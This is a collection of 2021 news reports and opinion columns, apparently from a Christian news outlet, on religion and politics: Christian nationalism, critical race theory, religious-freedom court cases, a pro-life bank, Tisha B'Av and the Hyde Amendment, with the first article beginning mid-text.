Its wild to realize that what was true 2,000 years ago is still true in the 21st century, he said. Just as God changed peoples lives, as its recorded in the Book of Acts and the Pauline Epistles, we see those same kinds of things in the data of 21st century Americans. The Bible is not out of date. Its still relevant and Gods still at work.

For Moss, it was in the pages of Scripture that she found the hope and strength to return to work at Tender Hearts Ministries soon after her dad died.

Im going to see him again one day because thats what Scripture promises, she said.

She also knows her dad would want her to continue doing what God called her to. As she counsels those who are at rock bottom, she points them to the same source of stability she goes tothe Bible.

We are giving them hope, she said.
Faith groups launch curriculum to help churches combat idolatrous Christian nationalism

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Faith-based advocacy organizations have launched a curriculum aimed at helping evangelical pastors combat Christian nationalism within their congregations.

Christians Against Christian Nationalism, Vote Common Good and Baptist Joint Committee for Religious Liberty announced the creation of the three-lesson curriculum last week.

According to a statement, the curriculum defines Christian nationalism as a framework of thinking that seeks to merge Christian and American identities, distorting both the Christian faith and Americas constitutional democracy.

Baptist Joint Committee Executive Director Amanda Tyler told The Christian Post that the curriculum was created in response to a webinar in January that CACN hosted titled Democracy and Faith Under Siege: Responding to Christian Nationalism. CACN was launched in 2019 by the Baptist Joint Committee.

Christians Against Christian Nationalism received many requests from pastors and lay leaders for additional resources to use with their congregations to better understand and respond to Christian nationalism in their communities and churches, said Tyler.

We developed the curriculum this spring and released it this summer as churches are planning their fall activities, many returning to in-person programming.

Tyler believes Christian nationalism is at odds with the core tenet of Christianity  that is, that Jesus Chris is Lord and is pervasive throughout American society.

Christian nationalism demands ultimate loyalty to political power rather than God. And therefore can become idolatrous, she continued.

The curriculum relies on Biblical passages and core Christian theology to differentiate the Christian religion and tenets of Christianity from the ideology of Christian nationalism.

Tyler hopes that churches that use the curriculum will learn a basic understanding of what Christian nationalism is and how racism feeds into Christian nationalism and ways to respond to Christian nationalism that are grounded in Scripture and Christian understanding.

Content for the curriculum is free to download on the CACN website and includes discussion questions for video clips tied to the January webinar.

Panelists involved in the webinar included Presiding Bishop Michael Curry, head of The Episcopal Church; Presiding Bishop Elizabeth Eaton, head of the Evangelical Lutheran Church in America; and Andrew Whitehead, associate professor of sociology at Indiana University-Purdue University Indianapolis.

According to the groups, dozens of evangelical pastors have already agreed to use the curriculum for their congregations, with Vote Common Good planning various means of expanding that number.

Vote Common Good is a progressive evangelical grassroots organization that held rallies during the 2020 presidential election encouraging Christians not to vote for former President Donald Trump.

Vote Common Good plans to get the curriculum in front of evangelical pastors through educational pamphlets, outreach to Christian schools and more, Vote Common Good Executive Director Doug Pagitt, a Minnesota pastor, said in a statement emailed to CP.

 we are also considering paid ads, and will tap into our growing network of Pastors and Christian leaders nationwide to push for its implementation.

One of the pastors planning to utilize the curriculum is the Rev. Michael Mills of Agape Baptist Church in Fort Worth, Texas. His congregation has been a longtime supporter of the Baptist Joint Committee, an education and advocacy organization supported by the Cooperative Baptist Fellowship and over a dozen other Baptist organizations.

Mills told CP that his church wanted a way to better talk about "the merging of a Christian and an American identity," believing that the curriculum "equips our people with the tools to identify it when we see it and to know how to talk about it with others."

"Because we are not a large congregation, we can gather as one to work through the curriculum and discuss it," he explained. "This enables us to have the same conversation, to hear from and learn from one another, and to share a common experience."



While many evangelical leaders have condemned Christian nationalism, others have expressed concern that the term is used to bash conservative Christians.

In a column by John Stonestreet and Timothy D. Padgett published by CP in January, the two authors argued that Christian nationalism is used as a scare label to dismiss any policy or person more conservative than whoever is using the term.

They pointed to a recent article by the United Kingdom-based publication The Guardian quoting experts saying proposed pro-life legislation was Christian nationalist in nature.

As seen in The Guardian, were all but guaranteed for the near future that anything vaguely traditional or moral, and any appeal to anything higher than the latest cultural fad, will be smeared with this label. Its silly. Even more, its dangerous, they wrote.

Even so, Christians must not abandon the public square just because people say mean things about us.

Professor and author Owen Strachen wrote a column published earlier this month in which he critiqued critics' concern that "a militantly racist body of extremist 'white' fundamentalists waits just beyond the city gates to take back America." He called the idea "downright silly."

"... supporting conservative politicians does not make you .... a 'white Christian nationalist.' Over and over, Christians who want their country to flourish have been labeled in such terms for voting for candidates of a Republican or conservative bent," wrote Strachen.

"The vast majority of Christians I know supported such candidates in past days because they are ardently pro-life, pro-religious liberty, anti-big government, anti-progressive agenda, and pro-free market. They do not have anything close to an evil vision of America that would ruin the lives of people of color. Nor do they wish to impose a ferocious theocracy on any who dare disagree with them. Instead, they want people of all kinds to be free, prosperous and able to worship God."

Regarding the criticism leveled by some, Pastor Mills of Agape Baptist told CP that "whenever the Church has become cozy with the state, things have not gone well for the Church."

"In our present context, those that seek to promote and benefit from Christian nationalism have targeted socially conservative Christians," said Mills.

"I believe there is a legitimate pathway to adhere to conservative values without the heavy hand of the state being involved. That pathway needs to be recovered, or socially conservative Christians will lose all credibility in the public sphere."

Mills added that "challenging Christian nationalism" is not "a smear campaign" against conservative Christians but rather "a call for us to be better."

"Because the undoing of Christian nationalism will result in more faithful Christians and more faithful Americans," he concluded.
Re-imagining America: So, this is what it looks like? (pt 1)

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One day in the 1980s I drove along a frenetic Houston freeway listening to talk radio frenzy. Gabbers went over again and again how America Is changing for the worse.

I was coming from a meeting where I had watched an in-your-face media presentation about the way our civilization is collapsing. And I wondered: When will be the climactic moment of this changeor re-imagining as some call it now?

More important: What will the new nation look like?

Mark Steyn, in a recent speech at Hillsdale College, pondered the same question. To some extent he answered it in the title of his speech: Our Increasingly Unrecognizable Civilization.

Steyn recalled a starry-eyed commencement speech John Kerry gave on the graduation circuit years ago. The former Vietnam veteran, presidential candidate, senator, and secretary of state told the students: You are going to be the first generation to live in a borderless world.

And therein lie some of the causative factors of Americas identity crisis.

Borders are definitive, be they sexual and moral boundaries, political or national borders, or the great spiritual wall denoting good from evil. Even the line of our profile distinguishes us from others.

To paraphrase the Apostle Paul in his Second Letter to the Thessalonians, when the restrainer who establishes and sustains protective bulwarks is removed, lawlessness bursts in and wreaks havoc at its chaotic worst.

And so, the insanity of Portland, Minneapolis, Chicago, New York and other cities as mobs rampage while police departments are defunded, religion discredited, and voters keep electing the same people who build policy on the myth that the less restraint there is the better people will behave.

Intense change has been pressing in on America and the West for a long time. It starts out by degrees, then intensifies to what I called in one of my books, a Globequake.

One of the ways we mark the degrees of alteration in national identity is by contemplating the music of given eras.

Elvis became the image of change in America in the 1950s as the minstrel of the age. Back there in the pre-Elvis past was the big band music of the 1940s. Waiting behind the wall of the future were Peter, Paul, and Mary. And out there ahead of that trio was Bob Dylan, itching to tell us straight-out: The Times, They Are A-Changin.

Bob Dylan was the hard-news guy, but Peter, Paul, and Mary were the romantic idealists... the dreamers who stirred us with the need to re-imaginea word not part of the casual lingo of their time, but a buzzword now.

In the fullness of time came John Lennon, who put the imagine-word and concept right under our ears with his song, Imagine.

There he beckoned us to imagine a world of no heaven, hell, countries, religion, or possessions, among other things.

However, as we approached the 21st century I wondered if the times would continue to be a-changin, or would our nation and civilization reach the end toward which all those changes were moving us, like the Niagara River inevitably carrying everything to and over the Falls.

What would the re-imagined country look like? Everything Lennon wanted to get rid of constitutes a vital boundary. Unless there is some restraint, Lennons world would be in a state of perma-chaosa hellish anti-civilization characterized by antinomianism, a hatred of law.

In fact, Jesus had long ago prophesied that the end-times would be characterized by the increase of lawlessness. (Matthew 24:12)

The Bibles prophetic and historic passages reveal that the fundamental struggle in the fallen world is between chaos and cosmos.

Chaos is the goal of Lucifer. Its aim is de-creation, taking apart what God has put together. Critical Race Theory and similar exercises of the Woke movement show that dividing ethnic races and other categories of humanity constitute a major ploy in the fragmentation of human beings, separating people from God, themselves, and one another. Chaos is rending disorder, the ugly snarl of evil.

Cosmos is Gods order. But it is not the harsh mandate handed down by a cruel despot, or constricting legalism. Rather, as Romans 14:17 describes it, cosmos is the order of righteousness and justice, peace, and Spirit-given joy. It is the order manifested in the fruit of the Spirit: love, joy, peace, patience, kindness, goodness, faithfulness, gentleness, self-control. (Galatians 5:20-23).

Such beauty compels British Prime Minister Boris Johnson to call Christianity a superb ethical system, and to lament that he considers himself as a kind of very very bad Christian.

So how does the re-imagined America look after the rejection of this superb ethical system by elite establishments, and decades of manipulation, titillation, experimentation, and alteration?

Chaotic, thats how.

It is always hard to see the purpose in wilderness wanderings until after they are over, wrote John Bunyan, author of Pilgrims Progress.

So, the big question now is this: Is the end near... or has the journey at least reached a point from which we can look back and see the whole of where we have been and a glance at the future towards which we are moving, and what we ought to do?

We will take a closer look at the nature of this chaos and its impact on us, our families, and institutions in Part II. In Part III we project what the future might hold, and, most important, the Bibles guidance for us pilgrims (apologies to John Bunyan).
United Methodist Church leadership elects first Latino to head a denominationwide agency

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The United Methodist Church has elected its first Latino head of a denominationwide agency, specifically to oversee the implementation of anti-racism work at a national and global level.

The UMC General Commission on Religion and Race announced earlier this month that the Rev. Giovanni Arroyo, an ordained elder of the Baltimore-Washington Annual Conference, who was born in Puerto Rico and raised in New York City, will become their new general secretary effective Aug. 31.

In an interview with The Christian Post on Wednesday, Arroyo said he gave thanks to God for the opportunity to live out my call in the Churchs life and in this capacity.

Secondly, I will say I am humbled, honored and excited by what it means to open the door for the Latinx community to have a leader sitting around the tables of decision and bringing a new perspective to the church in working on racial justice, he continued.

Being the head of this denominationwide agency is a testament of the Latinx leaders before me that had raised their voices, committed their lives for a racially equitable church, and who started to break down the barriers of the church that had not allowed a Latino leader to be considered to this role in the denomination.

The selection process was a combined effort by GCORR and the UMC General Commission on Finance and Administration, the latter serving as an outside agency to help the process.

Arroyo applied for the position earlier this year, having to undergo multiple interviews virtually and in-person in front of the GCORR Board of Directors before a vote was taken.

As for his goals for GCORR upon becoming general secretary, Arroyo told CP that they fell under the concept of IDEAR, or Inclusion, Diversity, Equity, Anti-Racism.

We will influence the Church with a theology of anti-racism, said Arroyo. How to understand that discipleship can only be lived out when we are anti-racist disciples.

Arroyo referenced GCORRs Facing the Future Conference, which has been held a few times over the past 10 years. He plans to hold a new conference next year.

It is my hope that in 2022, well be able to launch Facing the Future Conference for leaders who are serving cross-racial, cross-cultural, and multicultural settings, Arroyo added.

My goal is that this conference expands beyond our denomination and includes our ecumenical family to be part of the spirit-filled ministry development.

Arroyo also noted the importance of reaching out to UMC communities in Africa, Europe and the Philippines, telling CP that we are called to serve the worldwide church.

I want to walk alongside our leaders in the Philippines, Africa, Europe because they know how to address the isms that they continue to experience as a community, he said.

Regarding the overall status of racial justice in the UMC, Arroyo told CP that while he commended his denomination for taking official stances against racism, he felt that turning this discipline into action is slow and it has been received with some resistance in some places.

I think the Church needs to live out its commitment in concrete ways that decentralizes white normative and provides black, indigenous, people of color to be key leaders of the Church as it continues to move into the next generation of this ministry, Arroyo added.
Sen. Mike Lee: Religious freedom thrives in US because America is a nation of heretics

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Sen. Mike Lee of Utah said the United States has a strong history of religious freedom because it's a nation of heretics.

Lee was one of multiple guest speakers at an event on Tuesday sponsored by the International Center for Law and Religion Studies about religious freedom in the Americas.

During his comments, the senator said that in a country like ours, in the United States of America, basically everyone falls into the category of being a religious minority in one way or another, at one time or another.

One of the reasons why religious liberty has been able to flourish here is because we are a nation of heretics, said Lee. We were founded by heretics, and we breeded more heretics.

And I am one of them, and I am proud to be one, he added, jokingly alluding to his being a member of The Church of Jesus Christ of Latter-day Saints.

Thats how you foster religious freedom. You learn to respect heresy. Because people have a right to believe and worship and otherwise exercise their religious freedom.

In response to his comment about heretics helping to foster religious freedom, The Christian Post asked Lee how he believed the much-documented rise of religiously unaffiliated Americans might impact religious freedom.

Lee responded that he believed it was important to outline religious liberty on the outset and agree that we're going to defend it, agree that the principle needs to be defended, regardless of its popularity.

"As religious people, those of us who are religious, also have to understand that as more people count themselves among the non-religious, we become as a group even more of a minority. Each one of us, who belongs to a different sect of purported heretics, becomes even more heretical," he asserted.

Remember, beliefs that are mainstream generally don't have to be litigated because generally, government will defer to those because governments don't want to run afoul of what the majority of people think. That's exactly why it is so important to stake out the principle in advance."

Lees remarks were part of a panel event titled Fulton, Pavez, and the future of Religious Freedom in the Americas, which centered on two religious freedom cases.

The first was the unanimous U.S. Supreme Court decision in the case of Fulton v. City of Philadelphia, in which the high court ruled that Philadelphia cannot exclude Catholic Social Services from its foster program because the organization will not place children with same-sex couples for religious reasons.

Chief Justice John Roberts delivered the court's opinion, concluding that the city has burdened the religious exercise of CSS through policies that do not meet the requirement of being neutral and generally applicable.

Government fails to act neutrally when it proceeds in a manner intolerant of religious beliefs or restricts practices because of their religious nature, wrote Roberts.

The refusal of Philadelphia to contract with CSS for the provision of foster care services unless it agrees to certify same-sex couples as foster parents cannot survive strict scrutiny, and violates the First Amendment.

While Lee liked the Supreme Court decision overall, he critiqued some of the court's opinion, believing that the justices should have used the case to overturn the 1990 Supreme Court decision Employment Division v. Smith, which held that the First Amendment allows enforcement of generally applicable regulations that happen to burden the religious practices of some.

Lee referred to the Smith case as a dangerously wrong turn by the Supreme Court that was a break from precedent and utterly detached from the Constitution and English legal tradition.

We couldnt come up with the majority of the justices who were willing in this case to overturn Smith. This was a really good opportunity, he continued.

The other discussed case during the event was that of Sandra Pavez, a Chilean teacher who taught religion classes at Cardenal Antonio Samore Municipal School, but was fired in 2007 after she entered a same-sex relationship.

Pavez filed legal action, with the Chilean Supreme Court ruling in favor of the school in 2008. She later appealed to the Inter-American Court of Human Rights, which heard arguments in May.

In addition to Lee, other featured panelists included Montse Alvarado, vice president and executive director of Becket; Branislav Marelic, an attorney representing Pavez; Juan Navarro Floria, a professor at Pontificia Universidad Catolica in Buenos Aires, Argentina; and Tomas Henriquez, senior counsel for OAS and Latin America with ADF International.

The event was bilingual and partially virtual, with Marelic and Floria giving remarks in Spanish and presenting their views via livestream rather than in person.
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Theres an important story about the French emperor, Napoleon Bonaparte, and his encounter with the Jewish people while they were in mourning.

One day Napoleon was traveling through a Jewish town in Europe and decided to enter a synagogue. Inside, there were just a few candles providing light, and the atmosphere was somber and gloomy. He saw people sitting on the floor, crying, and reading from ancient texts.

He turned to a Jewish officer who was with him and asked, What great misfortune occurred? He assumed that something terrible had just happened to the Jews.

The Jewish officer knew that it happened to be the Jewish holy day of Tisha BAv. So, he said to Napoleon, On this day, every year, Jews around the world gather to mourn the destruction of the Temple in Jerusalem.

Napoleon asked the officer, When did this happen? The officer replied, Two thousand years ago.

Napoleon was shocked. He said, Any people that still cry for their land and their Temple after two thousand years will surely merit seeing both returned to them.

I have been mourning on Tisha BAv every year of my life and have vivid memories from my childhood of hearing the chilling cries of Holocaust survivors who were part of our synagogue in Chicago on this night. They knew, better than anyone, the tragedy of persecution and not having a Jewish homeland.

In an era of heightened Jewish persecution and perpetual violent attacks against Israel, this year Tisha BAv and its history are at the forefront of my mind.

Tisha BAv will be observed by Jews around the world beginning at sundown on Saturday, July 17. It is a solemn day that marks the many tragedies that have occurred on this datethe ninth of the Hebrew month of Av on the Hebrew calendarthroughout history.

Jews have marked this sacred holiday for thousands of years by fasting, mourning, and gathering in synagogues. Anyone who has studied history knows that the last two thousand years have been filled with persecution, pain, and suffering for the Jewish people. We believe this can be traced to the destruction of Gods Holy Temple in Jerusalem on this date, which led to Jews losing sovereignty in the Holy Land.

Praise God, recent generations of my people have witnessed amazing miracles and we have returned to our homeland. But why do we still mourn today? Why do we cry over something that occurred 2,000 years ago?

Part of Napoleons prediction has come true. The Jewish people have returned to Israel. But Jews still face bitter persecution. And Gods Temple is still in ruins. There are so many biblical promises that we still yearn for, like Gods return to Jerusalem and lasting peace in the Holy Land.

But if God can bring His people back to Israel after 2,000 years, if He can reestablish a Jewish state in the Holy Land, if He can make the desert land of Israel bloom, then we must trust that anything is possible.While we wait in mourning, we never lose hope. This hope carries us through the darkness and allows us to cry tears of hope and joy, as well as tears of sorrow.

The day of Tisha BAv is indeed a day of deep darkness; but it is also a day of great light. It is a day on which we hold on to hope no matter how bad things may seem.

The late Rabbi Jonathan Sacks, the former Chief Rabbi of England, once said, To be a Jew is to be an agent of hope in a world serially threatened by despair. And I would add that to be a Christian is to be an agent of hope as well. If we believe and trust in God, how could we ever be anything less?

As people of faith, we can never give up hopeand when we hold on to this hope despite everything, hope will hold us and carry us through anything. If we hope for it, pray for it, and work for it, and trust in Gods promises, this will inspire others to do so as well.
A true culture war commences: Who runs the publics schools?

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On the 245th anniversary of American independence, the American people received some really good news and some really disturbing news.

First, the good news! Polling reveals that 68% of Americans said they were very or extremely proud. Another 15% said they were moderately proud. Another 8% said they were at least slightly proud. So, 91% of Americans were positive in their attitude toward their native land.

By age group, senior citizens led the parade with 86% of those over 65 saying they were very or extremely proud, compared with 75% of the middle aged (45-64) and 59% of median adults (25-44).

While these numbers do reflect a generational decline in patriotism from senior adults (86%) to middle adults (75%) to median (59%), the really disturbing news is the dramatic drop off among young adults (24%).

Among Americas youngest adults, only 36% said they were proud or extremely proud and 35% claim to be only slightly or not at all proud of being American. Shockingly, Americas young people, 18-24, were three times less likely to be proud of being American and were more than twice as likely to say they were not at all or only slightly proud of their country than their countrymen. These findings pose a real and present danger to Americas future. How do we explain this? What changed? What can we, as Americans, do about it?

One major reason for this precipitous decline in patriotism is undoubtedly the rise and spread of the lethal and corrosive critical race theory (CRT), which has been simmering and percolating just under the surface for at least a decade in the nations universities, especially in the education departments. CRT has been filtering down into the K-12 curricula of this nations public schools.

CRT, a variant of Marxism based on race rather than class, is the source of the cultural phenomenon popularly called wokeness, the term for being sensitized or waking up to the reality of systemic and structural racism and the resulting inequity in our society from its inception. CRT defines inequity as inequality of outcome, rather than inequality of opportunity.

CRT will inevitably lead people to reject America as a racist society, which must undergo the revolutionary overhaul of its oppressive institutions such as the traditional family, the church, and the nation-state itself.

As the public has become more and more aware in recent months of the extent to which CRT has wrought havoc among our young people, a fierce grassroots backlash has been generated across the nation.

Initially, the progressive educational establishment and its media lackeys tried to reframe the issue to say CRT was not being taught and that all that was going on was telling the truth about Americas racist past.

Now progressives are coming out of the closet and their masquerade is over. At their annual convention a few days ago, the National Education Association, representing 3 million public school employees, enthusiastically approved funding for increasing the implementation of Critical Race Theory in K-12 curriculum across the nations public schools.

Furthermore, the NEA pledged funding for doing opposition research on those who are opposing CRT (including local associations of parents) and providing funds for attacking these groups.

At least the battle lines are now clear. The gloves are off. America is now engaged in a true culture war over the minds and hearts of the nations children. The issues are clear. We are now going to see who decides what happens in our nations public schools and classrooms. Will it be the parents, and their elected representatives, or will it be national teachers unions and their minions in the educational bureaucracy that former Secretary of Education William Bennett called, the blob.

Make no mistake about it. Every freedom-loving American has a great stake in this struggle, whether you have children or grandchildren in public schools or not.

We must all get involved at the local, state and national level. The good news is that 58% of Americans already oppose CRT. I am confident that many more will do so when they understand what it is and how it would fatally fracture American society if it were fully implemented.

This struggle is crucial to Americas future survival as the worlds best example of freedom and liberty for all. Let us all pray that God will grant us the wisdom to prevail in this crusade to protect our children from being brainwashed against their priceless heritage as Americans. May we all continue to struggle for a society in which everyone is judged not by the color of his/her skin, but by the content of his/her character.
Nick Vujicic co-founds pro-life bank to combat abortion crisis: 'God wants to take back His role'

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GRAPEVINE, Texas  A few years ago, it came to the attention of evangelist Nick Vujicic that most major banks in the United States support Planned Parenthood, the largest abortion provider in the nation.

Most banks  90%, in fact  give philanthropically toward abortion, the 38-year-old Life Without Limbs founder told The Christian Post, adding that an unthinkable amount of Gods money has been used to fund the murder of pre-born children.

It was this sobering reality that prompted Vujicic to partner with Betsy Gray, his spiritual mother and the executive director of Network Medical Women's Center, a primary care medical clinic in Santa Barbara, California, to found ProLife Bank.

ProLife Bank, Vujicic said, is not a for-profit bank  its a for-giving bank. The bank will give 50% net profits to Judeo-Christian-aligned-nonprofit organizations to further the Kingdom of God, he explained.

Just like Noah's saved lives, so we're going to save lives with ProLife Bank, he shared. Its based on the understanding that God wants to take back His role and redistribute it through His faithful students.

Though the founder and CEO of a nonprofit ministry and a New York Times bestselling author, Vujicic said he considers himself a numbers guy.

The Dallas-based entrepreneur started trading options and stocks as a teenager and purchased his first home as an investment at 19 years old. He obtained a Bachelor of Commerce with a double major in financial planning and investments and accounting and graduated at age 21.

So when presented with the idea of a pro-life bank, he was intrigued  but asked Gray to give him three months to pray with his wife over the decision. During those three months, the father-of-four shared, he faced spiritual assault like never before.

My world turned upside down, he recalled. We had a grenade at our house; I had a false article published in a gay magazine that I fired someone from being gay. I had a lawsuit threat against me by somebody internationally. I had a spy drone above my house, and I got kicked out of a bank, all within a matter of 16 weeks after that prayer.

It was evident to me that this is an issue close to the Lord's heart, Vujicic added. The last 20 years of my life was sharing the Gospel of Jesus Christ to millions around the world. The next 20 years will be, preach where I can, but also bring change, tangibly.

Protecting the sanctity of life at all stages is an issue close to Vujicics heart. The Australian-American was born with tetra-amelia syndrome, a rare disorder characterized by the absence of all four limbs. Living with a disability gives him a unique perspective on issues including abortion, adoption and the foster care system.



In America, there have been 77 million abortions  thats 23% of our population. And one in three Christians has had an abortion. Im doing my part to rattle the cages of the Church to say, You can't afford not to tell people that half the abortions in America are done by a Christian, he said.

Vujicic is also urging Christians to actively participate in city councils, school boards and other local political committees to use their voice in taking America back for God.

He expressed the belief that Roe v. Wade will be overturned  and pointed out there are already 12 sanctuary cities in the U.S. that do not allow abortions to happen. Christians, he said, have the power to bring that kind of change to all cities across the country.

We're not far from cities realizing that it's just enough of us to go on a school board and bring the Bible back to school systems, city per city, he stressed. That is how we take back America. The way that America has been stolen and the way that America will be, half of Americans will never agree with me. And we are being forced in this cancel culture to choose one side or the other."

We lost the war, and we're going to pay for it, Vujicic said, adding: But the remnant will hold.

The evangelist, who has shared the Gospel from over 3,500 stages in 74 countries, expressed concern that the Church in America is sleeping in the face of coming persecution. He challenged pastors to face the music and preach biblical truth from the pulpit, no matter how unpopular.

I think America is going to have a rude awakening, he said. "Those of us who don't face the music, who don't correct the unrighteousness  it's going along with the change of the tide since 2005 when churches changed their song and dance to bring the lost through the door by watering down the experience. Weve forgotten to teach them meat.

The COVID-19 pandemic, he posited, exposed the lack of commitment and spiritual discernment among many Christians. The speaker and author urged the next generation to stop basing their actions on feelings  Don't just share things or jump on things because you heard somebody else doing it, he advised  and rather on the Word of God.

So many people who are Christian have fallen into depression, thoughts of suicide, divorce, and all these things in the last 18 months like never before because they were never taught to memorize Scriptures, read the Bible on their own and understand that worship is between you and the Lord Jesus Christ without the structure of the church, Vujicic said.

We feel this is the time as Christians to come together and ask God to forgive us of the sins of our land.
Fifth Circuit allows chaplain-led courtroom prayers to continue after being ruled unconstitutional Legal battle continues in years-old First Amendment case

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A federal appeals court sided with a Texas justice of the peace last week, allowing him to continue chaplain-led invocations before state court hearings while the lawsuit against him is adjudicated after his courtroom prayer tradition was ruled unconstitutional by a lower court.

A three-judge panel of the U.S. Court of Appeals for the Fifth Circuit issued a stay that permits Montgomery County Justice of the Peace Judge Wayne Mack to continue offering chaplain-led invocations at the beginning of his court sessions.

At issue is whether Mack is entitled to a stay pending appeal after U.S. District Judge Kenneth Hoyt ruled in May that the tradition of having volunteer chaplains perform courtroom prayers violated the Establishment Clause of the First Amendment.

"The judge has made a strong showing that the district court erred," reads the Fifth Circuit's opinion. "The other three stay factors also favor the judge. We therefore issue the stay."

First Liberty Institute, a national religious liberty legal nonprofit, represents Mack.

Judge Mack is grateful that the Fifth Circuit allowed him to continue following our nations long history and tradition of opening court proceedings with prayer, First Liberty Institute Deputy General Counsel Justin Butterfield said in a statement.

We agree with the Fifth Circuits conclusion that prohibiting the prayers was wrong, he continued. Its time for the Freedom From Religion Foundation and the State Commission on Judicial Conduct to end their harassment of Judge Mack.

Mack, a Christian, established the Justice Court Chaplaincy Program to allow local faith leaders, primarily Chrisitan, to open courtroom proceedings with a non-mandatory prayer, short message or devotional.

Courtroom attendees are allowed to leave during this time if they do not wish to participate.

Though the chaplains are predominately Christian, the chaplaincy program included leaders from multiple faiths, including Sunni Muslim, Buddhist and Hindu religious leaders.

The judge was sued by the secular legal group Freedom from Religion Foundation, arguing that holding prayers in the courtroom is an unconstitutional endorsement of religion. Unlike the district court, the Fifth Circuit was less sympathetic with the group's arguments.

The Supreme Court has held that our Nations history and tradition allow legislatures to use tax dollars to pay for chaplains who perform sectarian prayers before sessions, the Fifth Circuit ruling added. If anything, Judge Macks chaplaincy program raises fewer questions under the Establishment Clause because it uses zero tax dollars and operates on a volunteer basis.

Mack is grateful the stay was granted so the chaplaincy program can at least temporality continue.

I am so very grateful that we have our chaplaincy program in place to assist with helping families in our county through terrible tragedies and to provide a moment of perspective as our court begins proceedings, Mack said in a statement. I am pleased that this program can continue while we are presenting our case to the 5th Circuit.

FFRF initially challenged the courtroom prayers in a lawsuit filed in 2017. The case was refiled in 2019.

Annie Laurie Gaylor, FFRF co-president, said in May that the "courtroom is not a church and a judges bench is not a pulpit.

First Liberty Institute said Mack followed a long tradition of opening courts, including the U.S. Supreme Court, with a ceremonial invocation."

The battle over the chaplaincy prayer program began in 2014 when FRFF initially wrote a demand letter to Mack.

In response, Mack wrote an open letter to Pastors & People of Faith, arguing the chaplaincy program was under "national and local attack" by those that "believe that God & Faith has no place in public lives and service.

Judge Mack promised to institute "religious values within the office" and open his courtroom with prayer during his 2014 Republican primary campaign for justice of the peace for Montgomery County Precinct 1.

The judge has implemented various faith-based initiatives, such as the Justice Court Chaplaincy Program and prayer breakfasts.

He also serves as a coroner for Montgomery County and carries out death investigations.
SBA list slams House Democrats for forcing taxpayers to fund abortion by advancing spending bill without Hyde Amendment

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Pro-life lawmakers and advocacy groups are slamming House Democrats for taking the first step in passing a federal budget without a guarantee that taxpayer funds will not be used to fund abortions.

The House subcommittee on Health and Human Services, and Related Agencies approved a spending bill for the Department of Health and Human Services Monday that did not include Hyde Amendment protections that prevent federal tax dollars from paying for abortions. The bill passed the subcommittee via a voice vote, which was expected in light of the Democratic majority.

Shortly before its passage, Rep. Rosa DeLauro, D-Conn., chair of the influential House Appropriations Committee as well as the subcommittee, proclaimed that this bill advances equal treatment for women not only by increasing funding for the range of health services including family planning covered by Title X, but also by repealing the discriminatory Hyde Amendment.

DeLauro acknowledged that this is an issue on which many of us disagree but regardless of the original intent of Hyde, it has disproportionately impacted women of color and it has ultimately led to more unintended pregnancies and later, riskier and more costly abortions. She alleged that allowing the Hyde Amendment to remain on the books is a disservice not only to our constituents but also to the values we espouse as a nation.

We are finally doing what is right for our mothers, our families, our communities by striking this discriminatory amendment once and for all, she added. While the elimination of the Hyde Amendment was enthusiastically supported by DeLauro and her Democratic colleagues, her Republican colleagues lamented the elimination of the longstanding conscience protection.

Rep. Kay Granger, R-Texas, who serves as the ranking member of the House Appropriations Committee, expressed concern that in addition to scrapping the Hyde Amendment, the HHS appropriations bill removes language carried in the last 16 years that protects American doctors and nurses from being forced to participate in abortions. Granger warned that this shift in policy could actually destroy decades of bipartisan work.

Unless this longstanding compromise protecting human life is restored, this bill should not move forward. My colleagues and I  are going to have to strongly oppose it because its out of step with the views of most Americans, it is just that simple, she added.

Granger maintained that restoring language that protects the lives of unborn children and protects Americans from being forced to participate  with their tax dollars [in] what they believe to be the taking of innocent life is a necessary prerequisite for the appropriations bills passage.

Rep. Tom Cole, R-Okla., the ranking member of the subcommittee, echoed Grangers concerns, asserting that the longstanding provision allowing medical professionals to refuse to perform abortions is an essential right of every American. According to Cole, Its removal is a danger to us all.

Even President Bidens budget did not propose the removal of that important language, he said. Everyone in this room knows this bill will never pass the United States Senate without their inclusion and the majority of the American people support that inclusion.

While Cole shared his disapproval of many aspects of the bill, he guaranteed that the removal of the language that protects the lives of unborn American children and the rights of Americans to freely exercise their conscience will never see the presidents desk as written.

The leaders of pro-life advocacy groups shared congressional Republicans displeasure with the HHS appropriations package.

In a statement released Monday, Marjorie Dannenfelser, the president of the pro-life group Susan B. Anthony List, slammed Biden-Pelosi Democrats for scrapping decades of bipartisan consensus to force taxpayers to fund abortion and doubling down on extremism to appease an increasingly radical base. Additionally, she characterized the bill as too extreme to pass the Senate and a major political liability for pro-abortion Democrats.

As Dannenfelser and congressional Republicans have suggested, the appropriations bill has a more difficult path to passage in the U.S. Senate. Democrats have a 50-50 majority in the upper chamber, with Vice President Kamala Harris casting the tie-breaking vote.

However, Sen. Joe Manchin, D-W.Va., who serves on the evenly divided Senate Appropriations Committee, told Bloomberg News last month that he was going to support Hyde in every way possible, raising questions about Democrats ability to pass a bill without Hyde Amendment protections.

The bills approval by the House Appropriations Labor, Health and Human Services, and Related Agencies Subcommittee comes after President Joe Biden released a budget proposal that did not include Hyde Amendment protections and House Democrats made it clear that they would work to eliminate the Hyde Amendment if Democrats gained complete control of the federal government.

Last year, DeLauro indicated that while the Labor/HHS/Education bill has carried the Hyde Amendment every year since 1976, this is the last year.

Democrats hold a narrow majority in the House and pro-life groups are already working to ensure the defeat of the bill in the full House. The pro-life group Democrats for Life of America held Mobilize for Hyde rallies at the offices of 12 House Democrats who had previously supported Hyde or have identified themselves as pro-life Democrats in the past, noting that based on the current makeup of the chamber, We only need 5 of them to commit to save it.

Mobilize for Hyde rallies took place Friday at the local offices of Reps. Sanford Bishop, D-Ga., Brendan Boyle, D-Pa., Matt Cartwright, D-Pa., Troy Carter, D-La., Jim Cooper, D-Tenn., Henry Cuellar, D-Texas, Mike Doyle, D-Pa., Marcy Kaptur, D-Ohio, Conor Lamb, D-Pa., Jim Langevin, D-R.I., Steve Lynch, D-Mass., and Tim Ryan, D-Ohio. None of the aforementioned lawmakers serve on the aforementioned subcommittee.

The failure of the fiscal year 2022 appropriations package for the Department of Health and Human Services to include Hyde Amendment protections is not the first time that congressional Democrats have snubbed the longstanding ban on taxpayer funding for abortions this year. The coronavirus stimulus package passed earlier this year failed to include Hyde Amendment protections for its funding streams that fall outside of existing limits on abortion funding.

Fiscal year 2021 concludes on Sept. 30 and a budget for fiscal year 2022 must pass before midnight on Oct. 1 to avert a government shutdown. If the two chambers of Congress cannot come to an agreement, lawmakers might elect to pass a continuing resolution to fund the government at existing levels by approving a package funding most of the federal government for a short period of time.
